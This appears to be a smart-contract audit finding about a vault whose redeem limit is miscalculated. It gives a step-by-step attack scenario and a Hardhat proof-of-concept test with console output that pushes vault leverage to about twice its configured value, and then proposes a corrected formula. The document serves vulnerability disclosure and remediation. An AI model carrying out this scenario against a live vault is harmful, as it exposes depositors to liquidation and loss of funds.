Vault leverage can be increased to any value up to min margin requirement due to incorrect `maxRedeem` calculations with closable and `LEVERAGE_BUFFER`
When redeeming from the vault, maximum amount allowed to be redeemed is limited by collateral required to keep the minimum vault position size which will remain open due to different factors, including `closable` value, which is a limitation on how much position can be closed given current pending positions. However, when calclulating max redeemable amount, `closable` value is multiplied by `LEVERAGE_BUFFER` value (currently 1.2):\\n```\\nUFixed6 collateral = marketContext.currentPosition.maker\\n    .sub(marketContext.currentPosition.net().min(marketContext.currentPosition.maker))  // available maker\\n    .min(marketContext.closable.mul(StrategyLib.LEVERAGE_BUFFER))                       // available closable\\n    .muldiv(marketContext.latestPrice.abs(), registration.leverage)                     // available collateral\\n    .muldiv(totalWeight, registration.weight);                                          // collateral in market\\n```\\n\\nThe intention seems to be to allow to withdraw a bit more collateral so that leverage can increase at max by LEVERAGE_BUFFER. However, the math is totally wrong here, for example:\\nCurrent position = 12, `closable = 10`\\nMax amount allowed to be redeemed is 12 (100% of shares)\\nHowever, when all shares are withdrawn, `closable = 10` prevents full position closure, so position will remain at 12-10 = 2\\nOnce settled, user can claim all vault collateral while vault still has position of size 2 open. Claiming all collateral will revert due to this line in allocate:\\n```\\n_locals.marketCollateral = strategy.marketContexts[marketId].margin\\n    .add(collateral.sub(_locals.totalMargin).muldiv(registrations[marketId].weight, _locals.totalWeight));\\n```\\n\\nSo the user can claim the assets only if remaining collateral is equal to or is greater than total margin of all markets. This means that user can put the vault into max leverage possible ignoring the vault leverage config (vault will have open position of such size, which will make all vault collateral equal the minimum margin requirement to open such position). This creates a big risk for vault liquidation and loss of funds for vault depositors.\\nAs seen from the example above, it's possible to put the vault at high leverage only if user redeems amount higher than `closable` allows (redeem amount in the closable..closable * LEVERAGE_BUFFER range). However, since deposits and redeems from the vault are settled later, it's impossible to directly create such situation (redeemable amount > closable). There is still a way to create such situation indirectly via maker limit limitation.\\nScenario:\\nMarket config leverage = 4. Existing deposits = $1K. Existing positions in underlying market are worth $4K\\nOpen maker position in underlying markets such that `makerLimit - currentMaker = $36K`\\nDeposit $11K to the vault (total deposits = $12K). The vault will try to open position of size = $48K (+$44K), however `makerLimit` will not allow to open full position, so the vault will only open +$36K (total position $40K)\\nWait until the deposit settles\\nClose maker position in underlying markets to free up maker limit\\nDeposit minimum amount to the vault from another user. This increases vault positions to $48K (settled = $40K, pending = $48K, `closable` = $40K)\\nRedeem $11K from the vault. This is possible, because maxRedeem is `closable/leverage*LEVERAGE_BUFFER` = `$40K/4*1.2` = `$12K`. However, the position will be limited by `closable`, so it will be reduced only by $40K (set to $8K).\\nWait until redeem settles\\nClaim $11K from the vault. This leaves the vault with the latest position = $8K, but only with $1K of original deposit, meaning vault leverage is now 8 - twice the value specified by config (4).\\nThis scenario will keep high vault leverage only for a short time until next oracle version, because `claim` will reduce position back to $4K, however this position reduction can also be avoided, for example, by opening/closing positions to make `long-short = maker` or `short-long = maker` in the underlying market(s), thus disallowing the vault to reduce its maker position and keeping the high leverage.\\nThe scenario above is demonstrated in the test, add this to Vault.test.ts:\\n```\\nit('increase vault leverage', async () => {\\n    console.log("start");\\n\\n    async function setOracle(latestTime: BigNumber, currentTime: BigNumber) {\\n    await setOracleEth(latestTime, currentTime)\\n    await setOracleBtc(latestTime, currentTime)\\n    }\\n\\n    async function setOracleEth(latestTime: BigNumber, currentTime: BigNumber) {\\n    const [, currentPrice] = await oracle.latest()\\n    const newVersion = {\\n        timestamp: latestTime,\\n        price: currentPrice,\\n        valid: true,\\n    }\\n    oracle.status.returns([newVersion, currentTime])\\n    oracle.request.whenCalledWith(user.address).returns()\\n    oracle.latest.returns(newVersion)\\n    oracle.current.returns(currentTime)\\n    oracle.at.whenCalledWith(newVersion.timestamp).returns(newVersion)\\n    }\\n\\n    async function setOracleBtc(latestTime: BigNumber, currentTime: BigNumber) {\\n    const [, currentPrice] = await btcOracle.latest()\\n    const newVersion = {\\n        timestamp: latestTime,\\n        price: currentPrice,\\n        valid: true,\\n    }\\n    btcOracle.status.returns([newVersion, currentTime])\\n    btcOracle.request.whenCalledWith(user.address).returns()\\n    btcOracle.latest.returns(newVersion)\\n    btcOracle.current.returns(currentTime)\\n    btcOracle.at.whenCalledWith(newVersion.timestamp).returns(newVersion)\\n    }\\n\\n    async function logLeverage() {\\n    // vault collateral\\n    var vaultCollateralEth = (await market.locals(vault.address)).collateral\\n    var vaultCollateralBtc = (await btcMarket.locals(vault.address)).collateral\\n    var vaultCollateral = vaultCollateralEth.add(vaultCollateralBtc)\\n\\n    // vault position\\n    var vaultPosEth = (await market.positions(vault.address)).maker;\\n    var ethPrice = (await oracle.latest()).price;\\n    var vaultPosEthUsd = vaultPosEth.mul(ethPrice);\\n    var vaultPosBtc = (await btcMarket.positions(vault.address)).maker;\\n    var btcPrice = (await btcOracle.latest()).price;\\n    var vaultPosBtcUsd = vaultPosBtc.mul(btcPrice);\\n    var vaultPos = vaultPosEthUsd.add(vaultPosBtcUsd);\\n    var leverage = vaultPos.div(vaultCollateral);\\n    console.log("Vault collateral = " + vaultCollateral.div(1e6) + " pos = " + vaultPos.div(1e12) + " leverage = " + leverage);\\n    }\\n\\n    await setOracle(STARTING_TIMESTAMP.add(3600), STARTING_TIMESTAMP.add(3700))\\n    await vault.settle(user.address);\\n\\n    // put markets at the (limit - 5000) each\\n    var makerLimit = (await market.riskParameter()).makerLimit;\\n    var makerCurrent = (await market.position()).maker;\\n    var maker = makerLimit;\\n    var ethPrice = (await oracle.latest()).price;\\n    var availUsd = parse6decimal('32000'); // 10/2 * 4\\n    var availToken = availUsd.mul(1e6).div(ethPrice);\\n    maker = maker.sub(availToken);\\n    var makerBefore = makerCurrent;// (await market.positions(user.address)).maker;\\n    console.log("ETH Limit = " + makerLimit + " CurrentGlobal = " + makerCurrent + " CurrentUser = " + makerBefore + " price = " + ethPrice + " availToken = " + availToken + " maker = " + maker);\\n    for (var i = 0; i < 5; i++)\\n        await fundWallet(asset, user);\\n    await market.connect(user).update(user.address, maker, 0, 0, parse6decimal('1000000'), false)\\n\\n    var makerLimit = (await btcMarket.riskParameter()).makerLimit;\\n    var makerCurrent = (await btcMarket.position()).maker;\\n    var maker = makerLimit;\\n    var btcPrice = (await btcOracle.latest()).price;\\n    var availUsd = parse6decimal('8000'); // 10/2 * 4\\n    var availToken = availUsd.mul(1e6).div(btcPrice);\\n    maker = maker.sub(availToken);\\n    var makerBeforeBtc = makerCurrent;// (await market.positions(user.address)).maker;\\n    console.log("BTC Limit = " + makerLimit + " CurrentGlobal = " + makerCurrent + " CurrentUser = " + makerBeforeBtc + " price = " + btcPrice + " availToken = " + availToken + " maker = " + maker);\\n    for (var i = 0; i < 10; i++)\\n        await fundWallet(asset, btcUser1);\\n    await btcMarket.connect(btcUser1).update(btcUser1.address, maker, 0, 0, parse6decimal('2000000'), false)\\n\\n    console.log("market updated");\\n\\n    var deposit = parse6decimal('12000')\\n    await vault.connect(user).update(user.address, deposit, 0, 0)\\n\\n    await setOracle(STARTING_TIMESTAMP.add(3700), STARTING_TIMESTAMP.add(3800))\\n    await vault.settle(user.address)\\n\\n    await logLeverage();\\n\\n    // withdraw the blocking amount\\n    console.log("reduce maker blocking position to allow vault maker increase")\\n    await market.connect(user).update(user.address, makerBefore, 0, 0, 0, false);\\n    await btcMarket.connect(btcUser1).update(btcUser1.address, makerBeforeBtc, 0, 0, 0, false);\\n\\n    await setOracle(STARTING_TIMESTAMP.add(3800), STARTING_TIMESTAMP.add(3900))\\n\\n    // refresh vault to increase position size since it's not held now\\n    var deposit = parse6decimal('10')\\n    console.log("Deposit small amount to increase position")\\n    await vault.connect(user2).update(user2.address, deposit, 0, 0)\\n\\n    // now redeem 11000 (which is allowed, but market position will be 2000 due to closable)\\n    var redeem = parse6decimal('11500')\\n    console.log("Redeeming 11500")\\n    await vault.connect(user).update(user.address, 0, redeem, 0);\\n\\n    // settle all changes\\n    await setOracle(STARTING_TIMESTAMP.add(3900), STARTING_TIMESTAMP.add(4000))\\n    await vault.settle(user.address)\\n    await logLeverage();\\n\\n    // claim those assets we've withdrawn\\n    var claim = parse6decimal('11100')\\n    console.log("Claiming 11100")\\n    await vault.connect(user).update(user.address, 0, 0, claim);\\n\\n    await logLeverage();\\n})\\n```\\n\\nConsole log from execution of the code above:\\n```\\nstart\\nETH Limit = 1000000000 CurrentGlobal = 200000000 CurrentUser = 200000000 price = 2620237388 availToken = 12212633 maker = 987787367\\nBTC Limit = 100000000 CurrentGlobal = 20000000 CurrentUser = 20000000 price = 38838362695 availToken = 205981 maker = 99794019\\nmarket updated\\nVault collateral = 12000 pos = 39999 leverage = 3333330\\nreduce maker blocking position to allow vault maker increase\\nDeposit small amount to increase position\\nRedeeming 11500\\nVault collateral = 12010 pos = 8040 leverage = 669444\\nClaiming 11100\\nVault collateral = 910 pos = 8040 leverage = 8835153\\n```\\n
The formula to allow LEVERAGE_BUFFER should apply it to final position size, not to delta position size (maxRedeem returns delta to subtract from current position). Currently redeem amount it limited by: `closable * LEVERAGE_BUFFER`. Once subtracted from the current position size, we obtain:\\n`maxRedeem = closable * LEVERAGE_BUFFER / leverage`\\n`newPosition = currentPosition - closable`\\n`newCollateral = (currentPosition - closable * LEVERAGE_BUFFER) / leverage`\\n`newLeverage = newPosition / newCollateral = leverage * (currentPosition - closable) / (currentPosition - closable * LEVERAGE_BUFFER)`\\n`= leverage / (1 - (LEVERAGE_BUFFER - 1) * closable / (currentPosition - closable))`\\nAs can be seen, the new leverage can be any amount and the formula doesn't make much sense, it certainly doesn't limit new leverage factor to LEVERAGE_BUFFER (denominator can be 0, negative or any small value, meaning leverage can be any number as high as you want). I think what developers wanted, is to have:\\n`newPosition = currentPosition - closable`\\n`newCollateral = newPosition / (leverage * LEVERAGE_BUFFER)`\\n`newLeverage = newPosition / (newPosition / (leverage * LEVERAGE_BUFFER)) = leverage * LEVERAGE_BUFFER`\\nNow, the important part to understand is that it's impossible to calculate delta collateral simply from delta position like it is now. When we know target newPosition, we can calculate target newCollateral, and then maxRedeem (delta collateral) can be calculated as currentCollateral - newCollateral:\\n`maxRedeem = currentCollateral - newCollateral`\\n`maxRedeem = currentCollateral - newPosition / (leverage * LEVERAGE_BUFFER)`\\nSo the fixed collateral calculation can be something like that:\\n```\\nUFixed6 deltaPosition = marketContext.currentPosition.maker\\n    .sub(marketContext.currentPosition.net().min(marketContext.currentPosition.maker))  // available maker\\n    .min(marketContext.closable);\\nUFixed6 targetPosition = marketContext.currentAccountPosition.maker.sub(deltaPosition); // expected ideal position\\nUFixed6 targetCollateral = targetPosition.muldiv(marketContext.latestPrice.abs(), \\n    registration.leverage.mul(StrategyLib.LEVERAGE_BUFFER));                            // allow leverage to be higher by LEVERAGE_BUFFER\\nUFixed6 collateral = marketContext.local.collateral.sub(targetCollateral)               // delta collateral\\n    .muldiv(totalWeight, registration.weight);                                          // market collateral => vault collateral\\n```\\n
Malicious user can put the vault at very high leverage, breaking important protocol invariant (leverage not exceeding target market leverage) and exposing the users to much higher potential funds loss / risk from the price movement due to high leverage and very high risk of vault liquidation, causing additional loss of funds from liquidation penalties and position re-opening fees.
```\\nUFixed6 collateral = marketContext.currentPosition.maker\\n    .sub(marketContext.currentPosition.net().min(marketContext.currentPosition.maker))  // available maker\\n    .min(marketContext.closable.mul(StrategyLib.LEVERAGE_BUFFER))                       // available closable\\n    .muldiv(marketContext.latestPrice.abs(), registration.leverage)                     // available collateral\\n    .muldiv(totalWeight, registration.weight);                                          // collateral in market\\n```\\n